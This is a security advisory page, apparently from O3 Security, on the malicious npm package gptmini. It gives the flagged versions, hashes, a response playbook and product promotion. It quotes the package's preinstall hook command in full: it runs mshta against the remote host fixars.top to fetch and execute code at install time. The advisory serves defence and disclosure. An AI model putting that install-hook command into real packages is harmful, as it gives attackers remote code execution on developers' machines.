Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

gptmininpm

Malicious code in gptmini (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6537
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall gptmini

What this malware does

On npm install, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with exec('cmd /c "mshta http://fixars.top"'). This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine. The package presents itself as a Node.js wrapper for a GPT/OpenAI-style SDK (name gptmini, baseUrl https://api.openllm.ai/v1), with empty author metadata — an AI-SDK-shaped lure paired with an install-time dropper to an attacker-controlled domain unrelated to any documented publisher.

Malicious versions

2 flagged
4.0.24.0.6

Indicators of compromise (SHA-256)

3dec100ae26ee0cca8069caab13d32ed258a12d6494e17495cf7c0f83ec64745
cb05abb3d36b111df4aa8fe044cbf05a431a0778e90d022e1621494c1506a171

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for gptmini (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging gptmini across your stack and pipelines.

  2. If you installed it — respond

    Remove gptmini from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If gptmini was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks gptmini before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. gptmini on npm has been identified as a malicious package (versions 4.0.2, 4.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007659IN-MAL-2026-007658

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks gptmini-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

gptmini (npm) malicious package — MAL-2026-6537 | O3 Security